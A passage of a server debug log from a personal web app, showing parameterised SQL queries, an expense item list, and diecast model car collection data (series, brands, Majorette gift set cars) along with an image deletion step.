    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:48:10.916Z server-connect:output restrict: undefined
2026-02-04T10:48:10.916Z server-connect:app Executing action step paged
2026-02-04T10:48:10.916Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:10.917Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:48:10.918Z server-connect:output restrict: undefined
2026-02-04T10:48:10.918Z server-connect:app Executing action step select
2026-02-04T10:48:10.918Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:10.919Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:48:10.920Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:48:10.920Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:10.921Z server-connect:app Executing action step identify
2026-02-04T10:48:10.921Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:10.921Z server-connect:output identity: 1
2026-02-04T10:48:10.921Z server-connect:app Executing action step restrict
2026-02-04T10:48:10.921Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:10.922Z server-connect:output restrict: undefined
2026-02-04T10:48:10.922Z server-connect:app Executing action step select
2026-02-04T10:48:10.922Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:10.923Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:48:10.923Z server-connect:app Executing action step select
2026-02-04T10:48:10.923Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:10.923Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:48:10.923Z server-connect:app Executing action step select
2026-02-04T10:48:10.923Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:10.924Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:48:13.397Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:48:13.397Z server-connect:app Executing action step identify
2026-02-04T10:48:13.397Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:13.397Z server-connect:output identity: 1
2026-02-04T10:48:13.397Z server-connect:app Executing action step restrict
2026-02-04T10:48:13.397Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:13.398Z server-connect:output restrict: undefined
2026-02-04T10:48:13.398Z server-connect:app Executing action step single
2026-02-04T10:48:13.398Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:48:13.398Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20251113_160724_7b5e7402-8508-4f0d-8fc2-cf84fbc0d0ec.jpg'
}
2026-02-04T10:48:13.398Z server-connect:app Executing action step delete
2026-02-04T10:48:13.398Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:48:13.399Z server-connect:output delete: { affected: 1 }
2026-02-04T10:48:13.399Z server-connect:app Executing action step remove
2026-02-04T10:48:13.399Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:48:13.399Z server-connect:output fileRemove: true
2026-02-04T10:48:13.682Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:13.682Z server-connect:app Executing action step identify
2026-02-04T10:48:13.682Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:13.682Z server-connect:output identity: 1
2026-02-04T10:48:13.682Z server-connect:app Executing action step restrict
2026-02-04T10:48:13.682Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:13.682Z server-connect:output restrict: undefined
2026-02-04T10:48:13.682Z server-connect:app Executing action step paged
2026-02-04T10:48:13.682Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:13.684Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:14.913Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:48:14.913Z server-connect:app Executing action step identify
2026-02-04T10:48:14.913Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:14.913Z server-connect:output identity: 1
2026-02-04T10:48:14.913Z server-connect:app Executing action step restrict
2026-02-04T10:48:14.913Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:14.914Z server-connect:output restrict: undefined
2026-02-04T10:48:14.914Z server-connect:app Executing action step condition
2026-02-04T10:48:14.914Z server-connect:app options: {
